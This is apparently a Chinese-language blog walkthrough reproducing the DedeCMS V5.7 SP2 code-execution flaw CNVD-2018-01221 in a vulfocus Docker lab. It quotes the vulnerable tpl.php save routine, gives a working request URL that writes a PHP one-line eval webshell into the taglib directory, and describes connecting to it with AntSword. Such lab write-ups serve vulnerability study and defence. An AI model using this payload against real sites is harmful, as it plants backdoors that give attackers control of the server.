dedecms 命令执行【CNVD-2018-01221】

dedecms 命令执行【CNVD-2018-01221】

织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中的tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。该漏洞利用需要登录后台,并且后台的账户权限是管理员权限。

影响版本:DedeCMS v5.7 SP2

环境搭建

docker pull vulfocus/dedecms-cnvd_2018_01221
docker run -d -p 80:80 -p 3306:3306 vulfocus/dedecms-cnvd_2018_01221

根据已经公开的漏洞详情,我们知道tpl.php里面有代码执行漏洞,下面我们来找到tpl.php中存在漏洞的地方

参考:dedeCMS后台代码执行漏洞-CNVD-2018-01221

/*---------------------------
function savetagfile() { }
保存标签碎片修改
--------------------------*/
else if($action=='savetagfile')
{
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
  ...
}
  • 首先判断动作是不是action=='savetagfile'
  • [a-z0-9_-]{1,}的意思是,匹配所有包含一个以上的字母数字下划线和横杠,后面的.意思是匹配小数点
  • 通过例子来分析一下,发现得到的$tagname的值为moonsec
  • stripslashes()清除反斜杠
  • 最后是把$content里的内容写入到相对用的路径里,问题就出在了这里,这一部分代码除了对写入的文件名字做了简单的过滤之外,其他并没有什么安全措施,导致我们可以任意写入代码,如果我们直接写入一句话木马,那么就可以直接连上去拿webshell了

payload:

http://192.168.2.104/dede/tpl.php?action=savetagfile&token=&filename=abc.lib.php&content=<?php @eval($_POST['x'])?>

接下来需要找到文件的路径。根据tpl.php的代码,文件位于DEDEINC.'/taglib/'.$filename,在文件中搜索 DEDEINC 没有发现定义,顺着包含文件找到/var/www/html/include/common.inc.php,在common.inc.php中发现定义

define('DEDEINC', str_replace("\\", '/', dirname(__FILE__) ) );

由此得出文件路径为/var/www/html/include/taglib/

使用蚁剑连接

posted @ 2022-10-24 12:21  太簇十三  阅读(476)  评论(0)    收藏  举报